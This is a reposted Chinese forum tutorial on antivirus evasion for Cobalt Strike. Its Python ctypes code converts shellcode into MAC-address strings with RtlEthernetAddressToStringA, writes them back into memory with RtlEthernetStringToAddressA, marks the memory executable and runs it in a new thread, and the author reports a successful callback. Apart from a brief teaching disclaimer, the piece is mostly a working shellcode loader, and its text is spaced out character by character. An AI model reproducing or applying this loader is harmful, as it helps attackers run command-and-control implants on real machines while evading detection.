搜索

[777] 2021-06-08_CS免杀-MAC写入内存(python)

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-16
2021-06-08_CS免杀-MAC写入内存(python) C S 免 杀 - M A C 写 入 内 存 ( p y t h o n ) b g b i n g 安 全   2 0 2 1 - 0 6 - 0 8 以 下 文 章 来 源 于 X G 小 刚   ， 作 者 X G 小 刚 一 位 苦 于 信 息 安 全 的 萌 新 小 白 帽 本 实 验 仅 用 于 信 息 防 御 教 学 ， 切 勿 用 于 它 用 途 公 众 号 ： X G 小 刚 前 言 前 言 前 几 天 不 是 研 究 过 u u i d 加 载 器 《 C S 免 杀 - U U I D 写 入 内 存 ( p y t h o n ) 》 吗 ， 觉 得 这 种 加 载 方 式 很 有 意 思 ， 通 过 a p i 函 数 将 u u i d 转 为 二 进 制 写 入 内 存 。 今 就 突 发 奇 想 有 没 有 别 的 a p i 函 数 有 异 曲 同 工 之 处 ， 我 就 搁 开 发 手 册 搜 啊 ， 搜 t o   a   b i n a r y 搜 了 半 天 嘿 还 真 找 着 了 俩 函 数 R t l E t h e r n e t S t r i n g T o A d d r e s s A 和 R t l E t h e r n e t A d d r e s s T o S t r i n g A X G 小 刚 小 刚   . 个 人 知 识 库 ， 主 要 记 录 学 习 历 程 。 涉 及 W e b 安 全 ， 代 码 审 计 ， 操 作 系 统 ， 内 网 渗 透 ， 免 杀 技 术 ， P y t h o n 编 程 ， 乱 七 杂 八 等 等 。
发 现 是 操 作 M A C 地 址 地 址 的 ， 可 以 将 m a c 字 符 串 转 换 成 二 进 制 写 入 内 存 ， 所 以 就 有 了 本 文 M A C 是 啥 是 啥 M A C 地 址 也 叫 物 理 地 址 、 硬 件 地 址 ， 由 网 络 设 备 制 造 商 生 产 时 烧 录 在 网 卡 的 E P R O M 一 种 闪 存 芯 片 ， 通 常 可 以 通 过 程 序 擦 写 。 I P 地 址 与 M A C 地 址 在 计 算 机 里 都 是 以 二 进 制 表 示 的 ， I P 地 址 是 3 2 位 的 ， 而 M A C 地 址 则 是 4 8 位 （ 6 个 字 节 ） 的   。 转 换 转 换 M A C R t l E t h e r n e t A d d r e s s T o S t r i n g A 该 函 数 是 n t d l l . d l l 库 的 函 数 ， 可 以 把 m a c 地 址 二 进 制 格 式 转 换 为 字 符 串 表 示 函 数 原 型 ： 使 用 此 函 数 可 以 将 二 进 制 转 换 为 m a c 格 式 注 意 6 个 字 节 转 换 一 个 m a c 值 ， x 0 0 是 一 个 字 节 当 剩 余 字 节 数 不 满 6 个 可 添 加 x 0 0 补 充 字 节 数 ， 必 须 将 全 部 的 s h e l l c o d e 全 部 转 化 为 m a c 值 在 转 换 之 前 ， 需 要 一 块 内 存 用 来 接 收 m a c 值 由 于 我 们 转 换 成 m a c 后 ， 6 个 字 节 变 成 了 1 7 个 字 节 ， 所 以 需 内 存 大 小 自 己 算 一 下 然 后 每 隔 六 个 字 节 进 行 一 次 转 换 ， 此 时 内 存 地 址 递 增 1 7 这 时 可 以 看 看 内 存 中 的 值 ， 是 否 是 m a c 字 符 串 形 式 x F C x 4 8 x 8 3 x E 4 x F 0 x E 8   = = = = >   F C - 4 8 - 8 3 - E 4 - F 0 - E 8 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / i p 2 s t r i n g / n f - i p 2 s t r i n g - r t l e t h e r n e t a d d r e s s t o s t r i n g a N T S Y S A P I   P S T R   R t l E t h e r n e t A d d r e s s T o S t r i n g A (     c o n s t   D L _ E U I 4 8   * A d d r ,     P S T R                       S ) ; s h e l l c o d e   =   b ' x f c x 4 8 x 8 3 x e 4 . . . ' m a c m e m   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( 0 , l e n ( s h e l l c o d e ) / 6 * 1 7 , 0 x 3 0 0 0 , 0 x 4 0 ) f o r   i   i n   r a n g e ( l e n ( s h e l l c o d e ) / 6 ) :           b y t e s _ a   =   s h e l l c o d e [ i * 6 : 6 + i * 6 ]           c t y p e s . w i n d l l . N t d l l . R t l E t h e r n e t A d d r e s s T o S t r i n g A ( b y t e s _ a ,   m a c m e m + i * 1 7 ) a   =   c t y p e s . s t r i n g _ a t ( m a c m e m , l e n ( s h e l l c o d e ) * 3 - 1 ) p r i n t ( a )
转 换 成 m a c 字 符 串 后 ， 可 以 进 一 步 转 换 成 列 表 ， 或 者 复 制 下 来 放 在 服 务 器 远 程 加 载 M A C 写 入 内 存 写 入 内 存 下 面 已 经 将 s h e l l c o d e 转 为 了 M A C ， 并 放 在 列 表 中 R t l E t h e r n e t S t r i n g T o A d d r e s s A 该 函 数 是 n t d l l . d l l 库 的 函 数 ， 将 M A C 值 从 字 符 串 形 式 转 为 二 进 制 格 式 函 数 原 型 l i s t   =   [ ] f o r   i   i n   r a n g e ( l e n ( s h e l l c o d e ) / 6 ) :         d   =   c t y p e s . s t r i n g _ a t ( m a c m e m + i * 1 7 , 1 7 )         l i s t . a p p e n d ( d ) p r i n t ( l i s t ) i m p o r t   c t y p e s l i s t   =   [ ' F C - 4 8 - 8 3 - E 4 - F 0 - E 8 ' ,   ' C 8 - 0 0 - 0 0 - 0 0 - 4 1 - 5 1 ' ,   ' 4 1 - 5 0 - 5 2 - 5 1 - 5 6 - 4 8 ' ,   ' 3 1 - D 2 - 6 5 - 4 8 - 8 B - 5 2 ' ,   ' 6 0 - 4 8 - 8 B - 5 2 - 1 8 - 4 8 ' . . . . . . ] F C - 4 8 - 8 3 - E 4 - F 0 - E 8   = = = = >   x F C x 4 8 x 8 3 x E 4 x F 0 x E 8 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / i p 2 s t r i n g / n f - i p 2 s t r i n g - r t l e t h e r n e t s t r i n g t o a d d r e s s a N T S Y S A P I   N T S T A T U S   R t l E t h e r n e t S t r i n g T o A d d r e s s A (     P C S T R         S ,     P C S T R         * T e r m i n a t o r ,     D L _ E U I 4 8   * A d d r ) ;
一 二 参 数 传 入 m a c 值 ， 第 三 参 数 传 入 接 收 的 内 存 指 针 申 请 内 存 ， 注 意 申 请 内 存 的 大 小 l e n ( l i s t ) * 6 有 多 少 m a c 值 ， 它 的 6 倍 就 是 需 要 的 内 存 大 小 通 过 R t l E t h e r n e t S t r i n g T o A d d r e s s A 函 数 ， 将 m a c 值 转 为 二 进 制 写 入 内 存 r w x p a g e 是 内 存 指 针 ， 表 示 从 该 指 针 位 置 写 入 r w x p a g e + = 6 是 控 制 指 针 的 位 置 ， 每 写 入 一 个 m a c 二 进 制 需 要 将 指 针 移 动 6 个 字 节 然 后 创 建 线 程 运 行 即 可 测 试 测 试 使 用 p y 2 . 7 环 境 ， C S 生 成 的 6 4 位 s h e l l c o d e c t y p e s . w i n d l l . N t d l l . R t l E t h e r n e t S t r i n g T o A d d r e s s A ( m a c , m a c ,   p t r ) p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( 0 , l e n ( l i s t ) * 6 , 0 x 3 0 0 0 , 0 x 0 4 ) r w x p a g e   =   p t r f o r   i   i n   r a n g e ( l e n ( l i s t ) ) :         c t y p e s . w i n d l l . N t d l l . R t l E t h e r n e t S t r i n g T o A d d r e s s A ( l i s t [ i ] ,   l i s t [ i ] ,   r w x p a g e )         r w x p a g e   + =   6 c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l P r o t e c t ( p t r ,   l e n ( l i s t ) * 6 ,   0 x 4 0 ,   c t y p e s . b y r e f ( c t y p e s . c _ l o n g ( 1 ) ) ) h a n d l e   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( 0 ,   0 ,   p t r ,   0 ,   0 ,   0 ) c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( h a n d l e ,   - 1 )
成 功 上 线 ， 免 杀 没 有 测 试 ， 主 要 是 研 究 姿 势 源 码 公 众 号 回 复 ： m a c 加 载 器 加 载 器
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理